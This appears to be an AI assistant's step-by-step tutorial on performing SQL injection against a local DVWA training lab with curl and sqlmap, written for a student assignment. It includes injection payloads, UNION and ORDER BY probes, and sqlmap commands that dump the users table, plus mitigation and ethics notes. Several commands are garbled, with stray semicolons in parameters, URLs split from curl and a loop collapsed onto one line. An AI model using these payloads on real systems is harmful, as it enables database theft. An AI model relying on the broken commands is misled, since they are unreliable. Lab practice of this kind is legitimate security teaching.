Terminal-based SQL Injection Guide for DVWA (Beginner Friendly)

Context: Step-by-step, dummy-friendly guide to perform and document SQL Injection attacks safely on DVWA using the terminal (curl) and sqlmap.

Quick overview (in one line)

What you'll do: confirm DVWA is running, obtain a valid session, send crafted requests with **curl**, use **sqlmap** to enumerate and dump data, and save evidence (screenshots/outputs).

0 — Prereqs (what must be ready)

DVWA running on Kali VM (common URL: **http://127.0.0.1/dvwa/**). Browser login works (default credentials: **admin** / **password**). Terminal access in Kali; **curl** is available. **sqlmap** should be installed (command to install: sudo apt update && sudo apt install sqlmap). Only test DVWA — do not use these commands on systems you don't own or have permission to test.

1 — Confirm DVWA location & security level (use the browser)

1. Open browser on your Kali VM and go to **http://127.0.0.1/dvwa/**. 2. Log in with **admin** / **password**. 3. DVWA → **DVWA Security** → set **Security** to **LOW** (this simplifies learning).

2 — How to get a session cookie (two ways)

Why cookies? DVWA expects authenticated requests. The session cookie proves you are logged in.

Method A — copy session cookie from browser (easiest)

In the browser open DevTools → Application → Cookies → copy the value of **PHPSESSID**. Also copy **security**=**low** if present. You'll paste these into terminal commands.

Method B — log in from terminal and save cookies

```
Command (paste into terminal):
curl -s -c cookies.txt -d "username=admin&password;=password&Login;=Login"
"http://127.0.0.1/dvwa/login.php" > /dev/null
```

This saves cookies to **cookies.txt**. To view: cat cookies.txt

3 — Basic test: send a normal request from terminal (GET)

Check that curl with your cookie fetches the same page as the browser.

```
Example (using cookies file):
curl -s -i -b cookies.txt
"http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit;=Submit" | head -n 40
```

If DVWA redirects to login, your cookie is missing or invalid.

4 — Understand GET vs POST

Open the SQLi page in browser, perform one action, and verify (DevTools → Network) whether the request used GET (parameter in URL) or POST (form data). DVWA's SQLi typically uses **GET**.

5 — Manual SQL injection from terminal using curl (boolean based)

A simple payload that often works: **' OR '1'='1**. This makes the SQL condition always true.

```
Example (using cookies file):
```

```
curl -s -b cookies.txt "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' OR '1'='1&Submit;=Submit" | grep -i "User ID" -n -C2 || echo "Look at full HTML if no grep match"
```

Interpretation: if vulnerable, the page may show more rows or different content. Save the HTML to a file for screenshots.

6 — Finding number of columns (needed for UNION)

Method 6A — ORDER BY (automated loop)

```
for i in {1..10}; do echo "Trying ORDER BY $i" curl -s -b cookies.txt "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%20ORDER%20BY%20$i--%20&Submit;=Submit" | grep -i "error" >/dev/null if [ $? -eq 0 ]; then echo "Error at ORDER BY $i -> number of columns likely $((i-1))" break else echo "No error for ORDER BY $i (columns >= $i)" fi done
```

Method 6B — UNION SELECT NULLs

```
curl -s -b cookies.txt "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%20UNION%20SELECT%20NULL,NULL,NULL--%20&Submit;=Submit"
```

Increase NULLs until the page returns normally; that count equals the columns.

7 — UNION to show database info (manual)

If number of columns = 2, try to show DB version:

```
curl -s -b cookies.txt "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%20UNION%20SELECT%20NULL,version()--%20&Submit;=Submit" | grep -i "version" -n -C2
```

Search the returned HTML for the version string.

8 — Use sqlmap from terminal (recommended)

Sqlmap automates enumeration and extraction. Replace **PHPSESSID=PASTE** with your session id or use **-b cookies.txt**.

A — enumerate databases (GET)

```
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit;=Submit" --cookie="PHPSESSID=PASTE_SESSION_ID; security=low" --batch --level=2 --risk=1 --dbs
```

B — list tables

```
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit;=Submit" --cookie="PHPSESSID=PASTE; security=low" --batch -D dvwa --tables
```

C — dump table contents

```
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit;=Submit" --cookie="PHPSESSID=PASTE; security=low" --batch -D dvwa -T users --dump
```

Use tee to save sqlmap output: ... | tee sqlmap-dump.txt

9 — Save outputs & screenshots (for marks)

Save each curl response: curl -s -b cookies.txt "URL" > step1-response.html, then open in browser and screenshot. Save sqlmap output: sqlmap ... --dump | tee sqlmap-dump.txt. Include commands, outputs, and screenshots in Appendix of your report.

10 — Example write-up snippet (paste into your report)

We configured DVWA on a Kali VM, set DVWA security to **LOW**, and logged in as **admin/password**. From the terminal we used **curl** and **sqlmap** to demonstrate SQL injection vulnerabilities. We obtained a valid session cookie (PHPSESSID) from the browser and used it with crafted requests. We discovered the number of columns using ORDER BY and UNION SELECT NULL techniques; then used UNION SELECT

to display the database version and used sqlmap to enumerate databases, list tables, and dump the users table. Commands and screenshots are attached.

11 — Plain-English explanation of what happened

Cookie: proves you are logged in so terminal requests act like your browser session. **Boolean injection:** ' OR '1'='1' makes conditions true and can reveal extra data. **ORDER BY / UNION:** techniques to discover structure (column count) to inject into. **sqlmap:** automates discovery and extraction and is commonly used by testers.

12 — Mitigations to mention (for your assignment)

Use **prepared statements / parameterised queries** instead of string concatenation. Validate and sanitise input on the server side. Use least-privilege database accounts. Escape output before inserting into HTML (prevent reflected data). Use Web Application Firewalls and proper logging/monitoring.

13 — Safety & ethics (must include)

Only test on DVWA or systems you own/have explicit permission to test. Unauthorized testing is illegal and unethical.

14 — Troubleshooting common beginner errors

Redirect to login: cookie expired or not sent — recreate cookie. **sqlmap says not injectable:** wrong parameter or security not LOW — re-check URL and security setting. **No visible injected data:** save HTML and open in browser to locate strings.

Next steps I can do for you (pick one):

1) Generate a ready-to-paste Commands & Outputs section for your report. 2) Produce a simple PHP example showing how to fix the vulnerability using PDO prepared statements. Tell me which one and I'll generate it for you.